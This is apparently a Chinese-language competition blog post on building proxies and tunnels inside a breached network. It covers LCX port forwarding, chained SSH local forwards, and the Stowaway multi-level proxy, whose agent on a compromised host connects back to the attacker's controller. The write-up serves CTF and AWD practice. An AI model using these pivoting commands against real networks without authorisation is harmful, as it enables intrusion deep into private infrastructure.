内网代理搭建

由 tuyi 发布

前言

在adwp或者adw赛制中当我们打进内网时(前提是打进去,这就不得不提ccb了😭),搭建代理是必不可少的一部分

介绍几种简单的方法

内网穿透

frp

有公网ip的话可以试试frp

有时间补上(狗头)🐶

花生壳内网穿透

没有公网ip的话就直接使用花生壳吧

官网

简单无脑一看就会

端口转发

使用iptable可以转发但是够简单,有没有简单又方便的方法的呢

有的兄弟有的,那就是LCX简单的端口转发工具

基本使用

-llisten本地监听模式

lcx -listen <本地端口> <转发端口>

将本地端口的流量转发到本地的转发端口

-slave远程转发模式

lcx -slave <本地IP> <本地端口> <远程IP> <远程端口>

将本地端口的流量转发到远程ip

-tran流量转发模式

lcx -tran <本地端口> <目标IP> <目标端口>

将本地端口流量转发到目标端口,支持内网环境

内网隧道搭建

ssh

ssh有点是方便,不要安装啥东西,直接就可以使用,但是弊端也很明显,只能一个端口一个端口的转发流量

单层ssh隧道搭建

我们的机器只能访问外围主机,我们可以使用外围主机当跳板访问内网

在我们机器上运行

ssh -L 8085:172.2.136.5:80 ctfshow@pwn.challenge.ctf.show -p 28227

这里我们将可控linux服务器中172.2.136.5:80的流量转发到本地windows的8085端口上,然后就可以通过访问127.0.0.1:8085以访问172.2.136.5的web服务,流量转发过程为:

172.2.136.5:80->windows的80端口

多层ssh隧道搭建

不同内网之间没法直接相互通信,因此如果我们想用windows攻击机直接访问深层内网的web服务,需要先在表层内网服务器和深层内网服务器之间建立隧道,然后再在windows攻击机和表层内网服务器之间建立隧道,最后就可以用windows攻击机直接访问到深层内网的web服务。

在表层内网服务器上运行:

ssh -L 9383:172.2.136.5:80 ctfshow@pwn.challenge.ctf.show -p 28227

将深层内网中172.2.136.5:80的流量转发到表层内网服务器的9383端口上,然后在windows机器上运行:

ssh -L 8086:127.0.0.1:9383 root@vps_ip -p vps_port

将表层内网服务器中127.0.0.1:9383的流量转发到windows机器的8086端口上,流量转发的过程变为:

172.2.136.5:80->VPS:9383->windows的8086端口

然后我们就可以通过在本地访问8086直接访问深层内网中的172.2.136.5的web服务

Stowaway

目前有很多优秀的内网代理工具如frp, nps等,但是有些情况下,我们需要搭建多级网络代理,直达目标内网深处。而目前frp,nps等工具在搭建多级代理时操作过去复杂不便于管理。

而Stowaway工具就是需要解决这一问题。Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具,用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能

它不仅仅是linux对linux,win对win还可以 win对linux,我最喜欢的就是这个,简单无脑

towaway一共包含两种角色,分别是:

  • admin 代表控制端

  • agent 代表被控端

admin:

-l 被动模式下的监听地址[ip]:<port>

-s 节点通信加密密钥,所有节点(admin&&agent)必须一致

-c 主动模式下的目标节点地址

--proxy socks5代理服务器地址

--proxyu socks5代理服务器用户名(可选)

--proxyp socks5代理服务器密码(可选)

--down 下游协议类型,默认为裸TCP流量,可选HTTP

agent:

-l 被动模式下的监听地址[ip]:<port>

-s 节点通信加密密钥

-c 主动模式下的目标节点地址

--proxy socks5代理服务器地址

--proxyu socks5代理服务器用户名(可选)

--proxyp socks5代理服务器密码(可选)

--reconnect 重连时间间隔(s)

--rehost 端口复用时复用的IP地址

--report 端口复用时复用的端口号

--up 上游协议类型,默认为裸TCP流量,可选HTTP

--down 下游协议类型,默认为裸TCP流量,可选HTTP

--cs 运行平台的shell编码类型,默认为utf-8,可选gbk

单层隧道搭建

控制端配置

windows使用被动模式,监听端口8000,并对通信进行加密秘钥为123。等待被控端的连接

windows_x64_admin.exe -l 192.168.125.134:8000 -s 123 
windows_x64_admin.exe -l 8000 -s 123  #或者不指定ip默认监听0.0.0.0

被控端配置

在可控linux上执行,使用秘钥123连接控制端8000端口,并设置重连间隔时间,当控制端掉线时客户端每隔8s重连控制端

./linux_x64_agent -c 192.168.125.134:8000 -s 123 --reconnect 8

此时客户端与控制端间搭建了一条socks隧道。

此时,admin端就可以控制

可以看到detail有一个节点

我们使用这个节点use 0

建立socks隧道

在windows使用proxifier创建代理

创建代理规则

目标ip填目标靶机地址

在linux使用proxychains创建代理

我们需要修改/etc/proxychains4.conf

修改成指定端口(这里是windows做admin就不演示)

成功访问内网

多层隧道搭建

在单层的基础上我们use 0之后继续使用监听

模式选择普通模式1,2是iptables 重用模式,仅限linux,3是复用socks模式,这里没必要,要是是docker容器限制端口可以使用3

继续在深层内网机器主动连接我们的10000端口

./linux_x64_agent -c ip:10000 -s 123 --reconnect 8

此时我们的admin又会上线二级代理机器,没环境就不复现了

我们use 1在创建socks

这是我们的widows就可以访问深层内网了在效仿node0配置代理就行

多级代理就可以了,速度稳定性都还可以

ps:图片来自网络,写的不好大佬轻点喷


0条评论

发表评论